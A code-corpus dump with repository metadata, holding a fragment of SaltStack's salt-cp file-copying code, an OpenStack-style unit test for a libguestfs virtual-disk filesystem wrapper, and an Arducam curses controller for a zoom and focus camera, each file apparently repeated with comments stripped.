salt.utils.minions.CkMinions(self.opts).check_minions( tgt, tgt_type=selected_target_option or "glob" ) minions = _res["minions"] local = salt.client.get_local_client(self.opts["conf_file"]) def _get_remote_path(fn_): if fn_ in self.opts["src"]: return ( os.path.join(dest, os.path.basename(fn_)) if dest_is_dir else dest ) else: for path in self.opts["src"]: relpath = os.path.relpath(fn_, path + os.sep) if relpath.startswith(parent): continue return os.path.join(dest, os.path.basename(path), relpath) else: log.error("Failed to find remote path for %s", fn_) return None ret = {} parent = ".." + os.sep for fn_, mode in six.iteritems(files): remote_path = _get_remote_path(fn_) index = 1 failed = {} for chunk in reader(fn_, chunk_size=self.opts["salt_cp_chunk_size"]): chunk = base64.b64encode(salt.utils.stringutils.to_bytes(chunk)) append = index > 1 log.debug( "Copying %s to %starget '%s' as %s%s", fn_, "{0} ".format(selected_target_option) if selected_target_option else "", tgt, remote_path, " (chunk #{0})".format(index) if append else "", ) args = [ tgt, "cp.recv_chunked", [remote_path, chunk, append, gzip, mode], timeout, ] if selected_target_option is not None: args.append(selected_target_option) result = local.cmd(*args) if not result: msg = ( "Publish failed.{0} It may be necessary to " "decrease salt_cp_chunk_size (current value: " "{1})".format( " File partially transferred." if index > 1 else "", self.opts["salt_cp_chunk_size"], ) ) for minion in minions: ret.setdefault(minion, {})[remote_path] = msg break for minion_id, minion_ret in six.iteritems(result): ret.setdefault(minion_id, {})[remote_path] = minion_ret # the chunks. if minion_ret is not True and minion_id not in failed: failed[minion_id] = minion_ret index += 1 for minion_id, msg in six.iteritems(failed): ret[minion_id][remote_path] = msg for dirname in empty_dirs: remote_path = _get_remote_path(dirname) log.debug( "Creating empty dir %s on %starget '%s'", dirname, "{0} ".format( selected_target_option ) # pylint: disable=str-format-in-logging if selected_target_option else "", tgt, ) args = [tgt, "cp.recv_chunked", [remote_path, None], timeout] if selected_target_option is not None: args.append(selected_target_option) for minion_id, minion_ret in six.iteritems(local.cmd(*args)): ret.setdefault(minion_id, {})[remote_path] = minion_ret return ret
true
true
f71f0a1725b858fec70598ade4805d6cd2dbc892
11,475
py
Python
jacket/tests/compute/unit/virt/disk/vfs/test_guestfs.py
bopopescu/jacket
d7ad3147fcb43131098c2a5210847634ff5fb325
[ "Apache-2.0" ]
null
null
null
jacket/tests/compute/unit/virt/disk/vfs/test_guestfs.py
bopopescu/jacket
d7ad3147fcb43131098c2a5210847634ff5fb325
[ "Apache-2.0" ]
null
null
null
jacket/tests/compute/unit/virt/disk/vfs/test_guestfs.py
bopopescu/jacket
d7ad3147fcb43131098c2a5210847634ff5fb325
[ "Apache-2.0" ]
2
2016-08-10T02:21:49.000Z
2020-07-24T01:57:21.000Z
# Copyright (C) 2012 Red Hat, Inc. # # Licensed under the Apache License, Version 2.0 (the "License"); you may # not use this file except in compliance with the License. You may obtain # a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, WITHOUT # WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the # License for the specific language governing permissions and limitations # under the License. import fixtures import mock from jacket.compute import exception from jacket.compute import test from jacket.tests.compute.unit.virt.disk.vfs import fakeguestfs from jacket.compute.virt.disk.vfs import guestfs as vfsimpl from jacket.compute.virt.image import model as imgmodel class VirtDiskVFSGuestFSTest(test.NoDBTestCase): def setUp(self): super(VirtDiskVFSGuestFSTest, self).setUp() self.useFixture( fixtures.MonkeyPatch('compute.virt.disk.vfs.guestfs.guestfs', fakeguestfs)) self.qcowfile = imgmodel.LocalFileImage("/dummy.qcow2", imgmodel.FORMAT_QCOW2) self.rawfile = imgmodel.LocalFileImage("/dummy.img", imgmodel.FORMAT_RAW) self.lvmfile = imgmodel.LocalBlockImage("/dev/volgroup/myvol") self.rbdfile = imgmodel.RBDImage("myvol", "mypool", "cthulu", "arrrrrgh", ["server1:123", "server2:123"]) def _do_test_appliance_setup_inspect(self, image, drives, forcetcg): if forcetcg: vfsimpl.force_tcg() else: vfsimpl.force_tcg(False) vfs = vfsimpl.VFSGuestFS( image, partition=-1) vfs.setup() if forcetcg: self.assertEqual("force_tcg", vfs.handle.backend_settings) vfsimpl.force_tcg(False) else: self.assertIsNone(vfs.handle.backend_settings) self.assertTrue(vfs.handle.running) self.assertEqual(drives, vfs.handle.drives) self.assertEqual(3, len(vfs.handle.mounts)) self.assertEqual("/dev/mapper/guestvgf-lv_root", vfs.handle.mounts[0][1]) self.assertEqual("/dev/vda1", vfs.handle.mounts[1][1]) self.assertEqual("/dev/mapper/guestvgf-lv_home", vfs.handle.mounts[2][1]) self.assertEqual("/", vfs.handle.mounts[0][2]) self.assertEqual("/boot", vfs.handle.mounts[1][2]) self.assertEqual("/home", vfs.handle.mounts[2][2]) handle = vfs.handle vfs.teardown() self.assertIsNone(vfs.handle) self.assertFalse(handle.running) self.assertTrue(handle.closed) self.assertEqual(0, len(handle.mounts)) def test_appliance_setup_inspect_auto(self): drives = [("/dummy.qcow2", {"format": "qcow2"})] self._do_test_appliance_setup_inspect(self.qcowfile, drives, False) def test_appliance_setup_inspect_tcg(self): drives = [("/dummy.qcow2", {"format": "qcow2"})] self._do_test_appliance_setup_inspect(self.qcowfile, drives, True) def test_appliance_setup_inspect_raw(self): drives = [("/dummy.img", {"format": "raw"})] self._do_test_appliance_setup_inspect(self.rawfile, drives, True) def test_appliance_setup_inspect_lvm(self): drives = [("/dev/volgroup/myvol", {"format": "raw"})] self._do_test_appliance_setup_inspect(self.lvmfile, drives, True) def test_appliance_setup_inspect_rbd(self): drives = [("mypool/myvol", {"format": "raw", "protocol": "rbd", "username": "cthulu", "secret": "arrrrrgh", "server": ["server1:123", "server2:123"]})] self._do_test_appliance_setup_inspect(self.rbdfile, drives, True) def test_appliance_setup_inspect_no_root_raises(self): vfs = vfsimpl.VFSGuestFS(self.qcowfile, partition=-1) # call setup to init the handle so we can stub it vfs.setup() self.assertIsNone(vfs.handle.backend_settings) def fake_inspect_os(): return [] self.stubs.Set(vfs.handle, 'inspect_os', fake_inspect_os) self.assertRaises(exception.NovaException, vfs.setup_os_inspect) def test_appliance_setup_inspect_multi_boots_raises(self): vfs = vfsimpl.VFSGuestFS(self.qcowfile, partition=-1) # call setup to init the handle so we can stub it vfs.setup() self.assertIsNone(vfs.handle.backend_settings) def fake_inspect_os(): return ['fake1', 'fake2'] self.stubs.Set(vfs.handle, 'inspect_os', fake_inspect_os) self.assertRaises(exception.NovaException, vfs.setup_os_inspect) def test_appliance_setup_static_nopart(self): vfs = vfsimpl.VFSGuestFS(self.qcowfile, partition=None) vfs.setup() self.assertIsNone(vfs.handle.backend_settings) self.assertTrue(vfs.handle.running) self.assertEqual(1, len(vfs.handle.mounts)) self.assertEqual("/dev/sda", vfs.handle.mounts[0][1]) self.assertEqual("/", vfs.handle.mounts[0][2]) handle = vfs.handle vfs.teardown() self.assertIsNone(vfs.handle) self.assertFalse(handle.running) self.assertTrue(handle.closed) self.assertEqual(0, len(handle.mounts)) def test_appliance_setup_static_part(self): vfs = vfsimpl.VFSGuestFS(self.qcowfile, partition=2) vfs.setup() self.assertIsNone(vfs.handle.backend_settings) self.assertTrue(vfs.handle.running) self.assertEqual(1, len(vfs.handle.mounts)) self.assertEqual("/dev/sda2", vfs.handle.mounts[0][1]) self.assertEqual("/", vfs.handle.mounts[0][2]) handle = vfs.handle vfs.teardown() self.assertIsNone(vfs.handle) self.assertFalse(handle.running) self.assertTrue(handle.closed) self.assertEqual(0, len(handle.mounts)) def test_makepath(self): vfs = vfsimpl.VFSGuestFS(self.qcowfile) vfs.setup() vfs.make_path("/some/dir") vfs.make_path("/other/dir") self.assertIn("/some/dir", vfs.handle.files) self.assertIn("/other/dir", vfs.handle.files) self.assertTrue(vfs.handle.files["/some/dir"]["isdir"]) self.assertTrue(vfs.handle.files["/other/dir"]["isdir"]) vfs.teardown() def test_append_file(self): vfs = vfsimpl.VFSGuestFS(self.qcowfile) vfs.setup() vfs.append_file("/some/file", " Goodbye") self.assertIn("/some/file", vfs.handle.files) self.assertEqual("Hello World Goodbye", vfs.handle.files["/some/file"]["content"]) vfs.teardown() def test_replace_file(self): vfs = vfsimpl.VFSGuestFS(self.qcowfile) vfs.setup() vfs.replace_file("/some/file", "Goodbye") self.assertIn("/some/file", vfs.handle.files) self.assertEqual("Goodbye", vfs.handle.files["/some/file"]["content"]) vfs.teardown() def test_read_file(self): vfs = vfsimpl.VFSGuestFS(self.qcowfile) vfs.setup() self.assertEqual("Hello World", vfs.read_file("/some/file")) vfs.teardown() def test_has_file(self): vfs = vfsimpl.VFSGuestFS(self.qcowfile) vfs.setup() vfs.read_file("/some/file") self.assertTrue(vfs.has_file("/some/file")) self.assertFalse(vfs.has_file("/other/file")) vfs.teardown() def test_set_permissions(self): vfs = vfsimpl.VFSGuestFS(self.qcowfile) vfs.setup() vfs.read_file("/some/file") self.assertEqual(0o700, vfs.handle.files["/some/file"]["mode"]) vfs.set_permissions("/some/file", 0o7777) self.assertEqual(0o7777, vfs.handle.files["/some/file"]["mode"]) vfs.teardown() def test_set_ownership(self): vfs = vfsimpl.VFSGuestFS(self.qcowfile) vfs.setup() vfs.read_file("/some/file") self.assertEqual(100, vfs.handle.files["/some/file"]["uid"]) self.assertEqual(100, vfs.handle.files["/some/file"]["gid"]) vfs.set_ownership("/some/file", "fred", None) self.assertEqual(105, vfs.handle.files["/some/file"]["uid"]) self.assertEqual(100, vfs.handle.files["/some/file"]["gid"]) vfs.set_ownership("/some/file", None, "users") self.assertEqual(105, vfs.handle.files["/some/file"]["uid"]) self.assertEqual(500, vfs.handle.files["/some/file"]["gid"]) vfs.set_ownership("/some/file", "joe", "admins") self.assertEqual(110, vfs.handle.files["/some/file"]["uid"]) self.assertEqual(600, vfs.handle.files["/some/file"]["gid"]) vfs.teardown() def test_close_on_error(self): vfs = vfsimpl.VFSGuestFS(self.qcowfile) vfs.setup() self.assertFalse(vfs.handle.kwargs['close_on_exit']) vfs.teardown() self.stubs.Set(fakeguestfs.GuestFS, 'SUPPORT_CLOSE_ON_EXIT', False) vfs = vfsimpl.VFSGuestFS(self.qcowfile) vfs.setup() self.assertNotIn('close_on_exit', vfs.handle.kwargs) vfs.teardown() def test_python_return_dict(self): vfs = vfsimpl.VFSGuestFS(self.qcowfile) vfs.setup() self.assertFalse(vfs.handle.kwargs['python_return_dict']) vfs.teardown() self.stubs.Set(fakeguestfs.GuestFS, 'SUPPORT_RETURN_DICT', False) vfs = vfsimpl.VFSGuestFS(self.qcowfile) vfs.setup() self.assertNotIn('python_return_dict', vfs.handle.kwargs) vfs.teardown() def test_setup_debug_disable(self): vfs = vfsimpl.VFSGuestFS(self.qcowfile) vfs.setup() self.assertFalse(vfs.handle.trace_enabled) self.assertFalse(vfs.handle.verbose_enabled) self.assertIsNone(vfs.handle.event_callback) def test_setup_debug_enabled(self): self.flags(debug=True, group='guestfs') vfs = vfsimpl.VFSGuestFS(self.qcowfile) vfs.setup() self.assertTrue(vfs.handle.trace_enabled) self.assertTrue(vfs.handle.verbose_enabled) self.assertIsNotNone(vfs.handle.event_callback) def test_get_format_fs(self): vfs = vfsimpl.VFSGuestFS(self.rawfile) vfs.setup() self.assertIsNotNone(vfs.handle) self.assertEqual('ext3', vfs.get_image_fs()) vfs.teardown() @mock.patch.object(vfsimpl.VFSGuestFS, 'setup_os') def test_setup_mount(self, setup_os): vfs = vfsimpl.VFSGuestFS(self.qcowfile) vfs.setup() self.assertTrue(setup_os.called) @mock.patch.object(vfsimpl.VFSGuestFS, 'setup_os') def test_setup_mount_false(self, setup_os): vfs = vfsimpl.VFSGuestFS(self.qcowfile) vfs.setup(mount=False) self.assertFalse(setup_os.called)
36.661342
78
0.613159
import fixtures import mock from jacket.compute import exception from jacket.compute import test from jacket.tests.compute.unit.virt.disk.vfs import fakeguestfs from jacket.compute.virt.disk.vfs import guestfs as vfsimpl from jacket.compute.virt.image import model as imgmodel class VirtDiskVFSGuestFSTest(test.NoDBTestCase): def setUp(self): super(VirtDiskVFSGuestFSTest, self).setUp() self.useFixture( fixtures.MonkeyPatch('compute.virt.disk.vfs.guestfs.guestfs', fakeguestfs)) self.qcowfile = imgmodel.LocalFileImage("/dummy.qcow2", imgmodel.FORMAT_QCOW2) self.rawfile = imgmodel.LocalFileImage("/dummy.img", imgmodel.FORMAT_RAW) self.lvmfile = imgmodel.LocalBlockImage("/dev/volgroup/myvol") self.rbdfile = imgmodel.RBDImage("myvol", "mypool", "cthulu", "arrrrrgh", ["server1:123", "server2:123"]) def _do_test_appliance_setup_inspect(self, image, drives, forcetcg): if forcetcg: vfsimpl.force_tcg() else: vfsimpl.force_tcg(False) vfs = vfsimpl.VFSGuestFS( image, partition=-1) vfs.setup() if forcetcg: self.assertEqual("force_tcg", vfs.handle.backend_settings) vfsimpl.force_tcg(False) else: self.assertIsNone(vfs.handle.backend_settings) self.assertTrue(vfs.handle.running) self.assertEqual(drives, vfs.handle.drives) self.assertEqual(3, len(vfs.handle.mounts)) self.assertEqual("/dev/mapper/guestvgf-lv_root", vfs.handle.mounts[0][1]) self.assertEqual("/dev/vda1", vfs.handle.mounts[1][1]) self.assertEqual("/dev/mapper/guestvgf-lv_home", vfs.handle.mounts[2][1]) self.assertEqual("/", vfs.handle.mounts[0][2]) self.assertEqual("/boot", vfs.handle.mounts[1][2]) self.assertEqual("/home", vfs.handle.mounts[2][2]) handle = vfs.handle vfs.teardown() self.assertIsNone(vfs.handle) self.assertFalse(handle.running) self.assertTrue(handle.closed) self.assertEqual(0, len(handle.mounts)) def test_appliance_setup_inspect_auto(self): drives = [("/dummy.qcow2", {"format": "qcow2"})] self._do_test_appliance_setup_inspect(self.qcowfile, drives, False) def test_appliance_setup_inspect_tcg(self): drives = [("/dummy.qcow2", {"format": "qcow2"})] self._do_test_appliance_setup_inspect(self.qcowfile, drives, True) def test_appliance_setup_inspect_raw(self): drives = [("/dummy.img", {"format": "raw"})] self._do_test_appliance_setup_inspect(self.rawfile, drives, True) def test_appliance_setup_inspect_lvm(self): drives = [("/dev/volgroup/myvol", {"format": "raw"})] self._do_test_appliance_setup_inspect(self.lvmfile, drives, True) def test_appliance_setup_inspect_rbd(self): drives = [("mypool/myvol", {"format": "raw", "protocol": "rbd", "username": "cthulu", "secret": "arrrrrgh", "server": ["server1:123", "server2:123"]})] self._do_test_appliance_setup_inspect(self.rbdfile, drives, True) def test_appliance_setup_inspect_no_root_raises(self): vfs = vfsimpl.VFSGuestFS(self.qcowfile, partition=-1) vfs.setup() self.assertIsNone(vfs.handle.backend_settings) def fake_inspect_os(): return [] self.stubs.Set(vfs.handle, 'inspect_os', fake_inspect_os) self.assertRaises(exception.NovaException, vfs.setup_os_inspect) def test_appliance_setup_inspect_multi_boots_raises(self): vfs = vfsimpl.VFSGuestFS(self.qcowfile, partition=-1) vfs.setup() self.assertIsNone(vfs.handle.backend_settings) def fake_inspect_os(): return ['fake1', 'fake2'] self.stubs.Set(vfs.handle, 'inspect_os', fake_inspect_os) self.assertRaises(exception.NovaException, vfs.setup_os_inspect) def test_appliance_setup_static_nopart(self): vfs = vfsimpl.VFSGuestFS(self.qcowfile, partition=None) vfs.setup() self.assertIsNone(vfs.handle.backend_settings) self.assertTrue(vfs.handle.running) self.assertEqual(1, len(vfs.handle.mounts)) self.assertEqual("/dev/sda", vfs.handle.mounts[0][1]) self.assertEqual("/", vfs.handle.mounts[0][2]) handle = vfs.handle vfs.teardown() self.assertIsNone(vfs.handle) self.assertFalse(handle.running) self.assertTrue(handle.closed) self.assertEqual(0, len(handle.mounts)) def test_appliance_setup_static_part(self): vfs = vfsimpl.VFSGuestFS(self.qcowfile, partition=2) vfs.setup() self.assertIsNone(vfs.handle.backend_settings) self.assertTrue(vfs.handle.running) self.assertEqual(1, len(vfs.handle.mounts)) self.assertEqual("/dev/sda2", vfs.handle.mounts[0][1]) self.assertEqual("/", vfs.handle.mounts[0][2]) handle = vfs.handle vfs.teardown() self.assertIsNone(vfs.handle) self.assertFalse(handle.running) self.assertTrue(handle.closed) self.assertEqual(0, len(handle.mounts)) def test_makepath(self): vfs = vfsimpl.VFSGuestFS(self.qcowfile) vfs.setup() vfs.make_path("/some/dir") vfs.make_path("/other/dir") self.assertIn("/some/dir", vfs.handle.files) self.assertIn("/other/dir", vfs.handle.files) self.assertTrue(vfs.handle.files["/some/dir"]["isdir"]) self.assertTrue(vfs.handle.files["/other/dir"]["isdir"]) vfs.teardown() def test_append_file(self): vfs = vfsimpl.VFSGuestFS(self.qcowfile) vfs.setup() vfs.append_file("/some/file", " Goodbye") self.assertIn("/some/file", vfs.handle.files) self.assertEqual("Hello World Goodbye", vfs.handle.files["/some/file"]["content"]) vfs.teardown() def test_replace_file(self): vfs = vfsimpl.VFSGuestFS(self.qcowfile) vfs.setup() vfs.replace_file("/some/file", "Goodbye") self.assertIn("/some/file", vfs.handle.files) self.assertEqual("Goodbye", vfs.handle.files["/some/file"]["content"]) vfs.teardown() def test_read_file(self): vfs = vfsimpl.VFSGuestFS(self.qcowfile) vfs.setup() self.assertEqual("Hello World", vfs.read_file("/some/file")) vfs.teardown() def test_has_file(self): vfs = vfsimpl.VFSGuestFS(self.qcowfile) vfs.setup() vfs.read_file("/some/file") self.assertTrue(vfs.has_file("/some/file")) self.assertFalse(vfs.has_file("/other/file")) vfs.teardown() def test_set_permissions(self): vfs = vfsimpl.VFSGuestFS(self.qcowfile) vfs.setup() vfs.read_file("/some/file") self.assertEqual(0o700, vfs.handle.files["/some/file"]["mode"]) vfs.set_permissions("/some/file", 0o7777) self.assertEqual(0o7777, vfs.handle.files["/some/file"]["mode"]) vfs.teardown() def test_set_ownership(self): vfs = vfsimpl.VFSGuestFS(self.qcowfile) vfs.setup() vfs.read_file("/some/file") self.assertEqual(100, vfs.handle.files["/some/file"]["uid"]) self.assertEqual(100, vfs.handle.files["/some/file"]["gid"]) vfs.set_ownership("/some/file", "fred", None) self.assertEqual(105, vfs.handle.files["/some/file"]["uid"]) self.assertEqual(100, vfs.handle.files["/some/file"]["gid"]) vfs.set_ownership("/some/file", None, "users") self.assertEqual(105, vfs.handle.files["/some/file"]["uid"]) self.assertEqual(500, vfs.handle.files["/some/file"]["gid"]) vfs.set_ownership("/some/file", "joe", "admins") self.assertEqual(110, vfs.handle.files["/some/file"]["uid"]) self.assertEqual(600, vfs.handle.files["/some/file"]["gid"]) vfs.teardown() def test_close_on_error(self): vfs = vfsimpl.VFSGuestFS(self.qcowfile) vfs.setup() self.assertFalse(vfs.handle.kwargs['close_on_exit']) vfs.teardown() self.stubs.Set(fakeguestfs.GuestFS, 'SUPPORT_CLOSE_ON_EXIT', False) vfs = vfsimpl.VFSGuestFS(self.qcowfile) vfs.setup() self.assertNotIn('close_on_exit', vfs.handle.kwargs) vfs.teardown() def test_python_return_dict(self): vfs = vfsimpl.VFSGuestFS(self.qcowfile) vfs.setup() self.assertFalse(vfs.handle.kwargs['python_return_dict']) vfs.teardown() self.stubs.Set(fakeguestfs.GuestFS, 'SUPPORT_RETURN_DICT', False) vfs = vfsimpl.VFSGuestFS(self.qcowfile) vfs.setup() self.assertNotIn('python_return_dict', vfs.handle.kwargs) vfs.teardown() def test_setup_debug_disable(self): vfs = vfsimpl.VFSGuestFS(self.qcowfile) vfs.setup() self.assertFalse(vfs.handle.trace_enabled) self.assertFalse(vfs.handle.verbose_enabled) self.assertIsNone(vfs.handle.event_callback) def test_setup_debug_enabled(self): self.flags(debug=True, group='guestfs') vfs = vfsimpl.VFSGuestFS(self.qcowfile) vfs.setup() self.assertTrue(vfs.handle.trace_enabled) self.assertTrue(vfs.handle.verbose_enabled) self.assertIsNotNone(vfs.handle.event_callback) def test_get_format_fs(self): vfs = vfsimpl.VFSGuestFS(self.rawfile) vfs.setup() self.assertIsNotNone(vfs.handle) self.assertEqual('ext3', vfs.get_image_fs()) vfs.teardown() @mock.patch.object(vfsimpl.VFSGuestFS, 'setup_os') def test_setup_mount(self, setup_os): vfs = vfsimpl.VFSGuestFS(self.qcowfile) vfs.setup() self.assertTrue(setup_os.called) @mock.patch.object(vfsimpl.VFSGuestFS, 'setup_os') def test_setup_mount_false(self, setup_os): vfs = vfsimpl.VFSGuestFS(self.qcowfile) vfs.setup(mount=False) self.assertFalse(setup_os.called)
true
true
f71f0a64179b2199ac8d77a585db1e15d2f9a7d9
7,949
py
Python
software/jetson/ArduCAM/Arducam_OBISP_MIPI_Camera_Module/ptz_focus_example/FocuserExample.py
abstractguy/TSO_project
1130e6fb081d1486ff15339a9757c46a927a2965
[ "BSD-2-Clause" ]
1
2021-06-06T14:12:32.000Z
2021-06-06T14:12:32.000Z
software/jetson/ArduCAM/MIPI_Camera/Jetson/JetsonNano_PTZ/FocuserExample.py
abstractguy/TSO_project
1130e6fb081d1486ff15339a9757c46a927a2965
[ "BSD-2-Clause" ]
6
2021-04-06T12:35:34.000Z
2022-03-12T00:58:16.000Z
software/jetson/ArduCAM/MIPI_Camera/Jetson/JetsonNano_PTZ/FocuserExample.py
abstractguy/TSO_project
1130e6fb081d1486ff15339a9757c46a927a2965
[ "BSD-2-Clause" ]
2
2020-03-05T00:09:48.000Z
2021-06-03T20:06:03.000Z
# encoding: UTF-8 ''' Arducam programable zoom-lens controller. Copyright (c) 2019-4 Arducam <http://www.arducam.com>. Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. ''' import cv2 #sudo apt-get install python-opencv import numpy as py import os import sys import time from JetsonCamera import Camera from Focuser import Focuser from AutoFocus import AutoFocus import curses global image_count image_count = 0 # Rendering status bar def RenderStatusBar(stdscr): height, width = stdscr.getmaxyx() statusbarstr = "Press 'q' to exit" stdscr.attron(curses.color_pair(3)) stdscr.addstr(height-1, 0, statusbarstr) stdscr.addstr(height-1, len(statusbarstr), " " * (width - len(statusbarstr) - 1)) stdscr.attroff(curses.color_pair(3)) # Rendering description def RenderDescription(stdscr): focus_desc = "Focus : Left-Right Arrow" zoom_desc = "Zoom : Up-Down Arrow" motor_x_desc = "MotorX : 'w'-'s' Key" motor_y_desc = "MotorY : 'a'-'d' Key" ircut_desc = "IRCUT : Space" autofocus_desc = "Autofocus: Enter" snapshot_desc = "Snapshot : 'c' Key" desc_y = 1 stdscr.addstr(desc_y + 1, 0, focus_desc, curses.color_pair(1)) stdscr.addstr(desc_y + 2, 0, zoom_desc, curses.color_pair(1)) stdscr.addstr(desc_y + 3, 0, motor_x_desc, curses.color_pair(1)) stdscr.addstr(desc_y + 4, 0, motor_y_desc, curses.color_pair(1)) stdscr.addstr(desc_y + 5, 0, ircut_desc, curses.color_pair(1)) stdscr.addstr(desc_y + 6, 0, autofocus_desc, curses.color_pair(1)) stdscr.addstr(desc_y + 7, 0, snapshot_desc, curses.color_pair(1)) # Rendering middle text def RenderMiddleText(stdscr,k,focuser): # get height and width of the window. height, width = stdscr.getmaxyx() # Declaration of strings title = "Arducam Controller"[:width-1] subtitle = ""[:width-1] keystr = "Last key pressed: {}".format(k)[:width-1] # Obtain device infomation focus_value = "Focus : {}".format(focuser.get(Focuser.OPT_FOCUS))[:width-1] zoom_value = "Zoom : {}".format(focuser.get(Focuser.OPT_ZOOM))[:width-1] motor_x_val = "MotorX : {}".format(focuser.get(Focuser.OPT_MOTOR_X))[:width-1] motor_y_val = "MotorY : {}".format(focuser.get(Focuser.OPT_MOTOR_Y))[:width-1] ircut_val = "IRCUT : {}".format(focuser.get(Focuser.OPT_IRCUT))[:width-1] if k == 0: keystr = "No key press detected..."[:width-1] # Centering calculations start_x_title = int((width // 2) - (len(title) // 2) - len(title) % 2) start_x_subtitle = int((width // 2) - (len(subtitle) // 2) - len(subtitle) % 2) start_x_keystr = int((width // 2) - (len(keystr) // 2) - len(keystr) % 2) start_x_device_info = int((width // 2) - (len("Focus : 00000") // 2) - len("Focus : 00000") % 2) start_y = int((height // 2) - 6) # Turning on attributes for title stdscr.attron(curses.color_pair(2)) stdscr.attron(curses.A_BOLD) # Rendering title stdscr.addstr(start_y, start_x_title, title) # Turning off attributes for title stdscr.attroff(curses.color_pair(2)) stdscr.attroff(curses.A_BOLD) # Print rest of text stdscr.addstr(start_y + 1, start_x_subtitle, subtitle) stdscr.addstr(start_y + 3, (width // 2) - 2, '-' * 4) stdscr.addstr(start_y + 5, start_x_keystr, keystr) # Print device info stdscr.addstr(start_y + 6, start_x_device_info, focus_value) stdscr.addstr(start_y + 7, start_x_device_info, zoom_value) stdscr.addstr(start_y + 8, start_x_device_info, motor_x_val) stdscr.addstr(start_y + 9, start_x_device_info, motor_y_val) stdscr.addstr(start_y + 10, start_x_device_info, ircut_val) # parse input key def parseKey(k,focuser,auto_focus,camera): global image_count motor_step = 5 focus_step = 100 zoom_step = 100 if k == ord('s'): focuser.set(Focuser.OPT_MOTOR_Y,focuser.get(Focuser.OPT_MOTOR_Y) + motor_step) elif k == ord('w'): focuser.set(Focuser.OPT_MOTOR_Y,focuser.get(Focuser.OPT_MOTOR_Y) - motor_step) elif k == ord('d'): focuser.set(Focuser.OPT_MOTOR_X,focuser.get(Focuser.OPT_MOTOR_X) - motor_step) elif k == ord('a'): focuser.set(Focuser.OPT_MOTOR_X,focuser.get(Focuser.OPT_MOTOR_X) + motor_step) elif k == ord('r'): focuser.reset(Focuser.OPT_FOCUS) focuser.reset(Focuser.OPT_ZOOM) elif k == curses.KEY_DOWN: focuser.set(Focuser.OPT_ZOOM,focuser.get(Focuser.OPT_ZOOM) - zoom_step) elif k == curses.KEY_UP: focuser.set(Focuser.OPT_ZOOM,focuser.get(Focuser.OPT_ZOOM) + zoom_step) elif k == curses.KEY_RIGHT: focuser.set(Focuser.OPT_FOCUS,focuser.get(Focuser.OPT_FOCUS) + focus_step) elif k == curses.KEY_LEFT: focuser.set(Focuser.OPT_FOCUS,focuser.get(Focuser.OPT_FOCUS) - focus_step) elif k == 10: auto_focus.startFocus() # auto_focus.startFocus2() # auto_focus.auxiliaryFocusing() pass elif k == 32: focuser.set(Focuser.OPT_IRCUT,focuser.get(Focuser.OPT_IRCUT)^0x0001) pass elif k == ord('c'): #save image to file. cv2.imwrite("image{}.jpg".format(image_count), camera.getFrame()) image_count += 1 # Python curses example Written by Clay McLeod # https://gist.github.com/claymcleod/b670285f334acd56ad1c def draw_menu(stdscr,camera): focuser = Focuser(1) auto_focus = AutoFocus(focuser,camera) k = 0 cursor_x = 0 cursor_y = 0 # Clear and refresh the screen for a blank canvas stdscr.clear() stdscr.refresh() # Start colors in curses curses.start_color() curses.init_pair(1, curses.COLOR_CYAN, curses.COLOR_BLACK) curses.init_pair(2, curses.COLOR_RED, curses.COLOR_BLACK) curses.init_pair(3, curses.COLOR_BLACK, curses.COLOR_WHITE) # Loop where k is the last character pressed while (k != ord('q')): # Initialization stdscr.clear() # Flush all input buffers. curses.flushinp() # get height and width of the window. height, width = stdscr.getmaxyx() # parser input key parseKey(k,focuser,auto_focus,camera) # Rendering some text whstr = "Width: {}, Height: {}".format(width, height) stdscr.addstr(0, 0, whstr, curses.color_pair(1)) # render key description RenderDescription(stdscr) # render status bar RenderStatusBar(stdscr) # render middle text RenderMiddleText(stdscr,k,focuser) # Refresh the screen stdscr.refresh() # Wait for next input k = stdscr.getch() def main(): #open camera camera = Camera() #open camera preview camera.start_preview() curses.wrapper(draw_menu,camera) camera.stop_preview() camera.close() if __name__ == "__main__": main()
36.631336
106
0.66977
import cv2 import numpy as py import os import sys import time from JetsonCamera import Camera from Focuser import Focuser from AutoFocus import AutoFocus import curses global image_count image_count = 0 def RenderStatusBar(stdscr): height, width = stdscr.getmaxyx() statusbarstr = "Press 'q' to exit" stdscr.attron(curses.color_pair(3)) stdscr.addstr(height-1, 0, statusbarstr) stdscr.addstr(height-1, len(statusbarstr), " " * (width - len(statusbarstr) - 1)) stdscr.attroff(curses.color_pair(3)) def RenderDescription(stdscr): focus_desc = "Focus : Left-Right Arrow" zoom_desc = "Zoom : Up-Down Arrow" motor_x_desc = "MotorX : 'w'-'s' Key" motor_y_desc = "MotorY : 'a'-'d' Key" ircut_desc = "IRCUT : Space" autofocus_desc = "Autofocus: Enter" snapshot_desc = "Snapshot : 'c' Key" desc_y = 1 stdscr.addstr(desc_y + 1, 0, focus_desc, curses.color_pair(1)) stdscr.addstr(desc_y + 2, 0, zoom_desc, curses.color_pair(1)) stdscr.addstr(desc_y + 3, 0, motor_x_desc, curses.color_pair(1)) stdscr.addstr(desc_y + 4, 0, motor_y_desc, curses.color_pair(1)) stdscr.addstr(desc_y + 5, 0, ircut_desc, curses.color_pair(1)) stdscr.addstr(desc_y + 6, 0, autofocus_desc, curses.color_pair(1)) stdscr.addstr(desc_y + 7, 0, snapshot_desc, curses.color_pair(1)) def RenderMiddleText(stdscr,k,focuser): height, width = stdscr.getmaxyx() title = "Arducam Controller"[:width-1] subtitle = ""[:width-1] keystr = "Last key pressed: {}".format(k)[:width-1] focus_value = "Focus : 